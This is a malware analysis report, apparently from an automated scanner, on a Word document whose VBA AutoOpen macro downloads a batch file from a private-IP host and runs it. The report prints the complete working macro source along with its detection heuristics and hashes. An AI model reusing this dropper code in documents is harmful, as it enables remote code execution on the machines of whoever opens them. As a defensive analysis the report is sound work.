Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eed0c71d134d0d6c…

MALICIOUS

Office (OOXML)

17.0 KB Created: 2021-09-12 10:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-18
MD5: 4e8efe4dc9237b59f05d7ff8f0f21424 SHA-1: d741e84c4fb0cb3117a3d54782b5ab9688d6d77d SHA-256: eed0c71d134d0d6c7da17805c7c6ec5014e31c16277138f8b8b9b7afe363e430
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoOpen macro attempts to download a batch file from the URL "http://10.1.110.8:8000/RCE.bat" and save it as "C:\Users\AGK\Desktop\RCE.bat". It then attempts to execute this downloaded file using the Shell function. This indicates a downloader or dropper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
              PID = Shell("explorer ""C:\Users\AGK\Desktop\RCE.bat""", 1)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
              objStream.Write objXmlHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         Set objXmlHttpReq = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.1.110.8:8000/RCE.bat Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1044 bytes
SHA-256: 119e86c26507813bb5ffa2ed475cc609b67f3c1e1709ddf605b62d10a91d18f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

     Dim FileUrl As String
     Dim objXmlHttpReq As Object
     Dim objStream As Object
     Dim PID As Variant

     FileUrl = "http://10.1.110.8:8000/RCE.bat"

     Set objXmlHttpReq = CreateObject("Microsoft.XMLHTTP")
     objXmlHttpReq.Open "GET", FileUrl, False
     objXmlHttpReq.send

     If objXmlHttpReq.Status = 200 Then
          Set objStream = CreateObject("ADODB.Stream")
          objStream.Open
          objStream.Type = 1
          objStream.Write objXmlHttpReq.responseBody
          objStream.SaveToFile "C:\Users\AGK\Desktop\" & "RCE.bat", 2
          objStream.Close
          PID = Shell("explorer ""C:\Users\AGK\Desktop\RCE.bat""", 1)
     End If

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 164f81ccca1cfc27cf28f0f447311402900ea355a2e553a8e3e7bb5cd5cc1292

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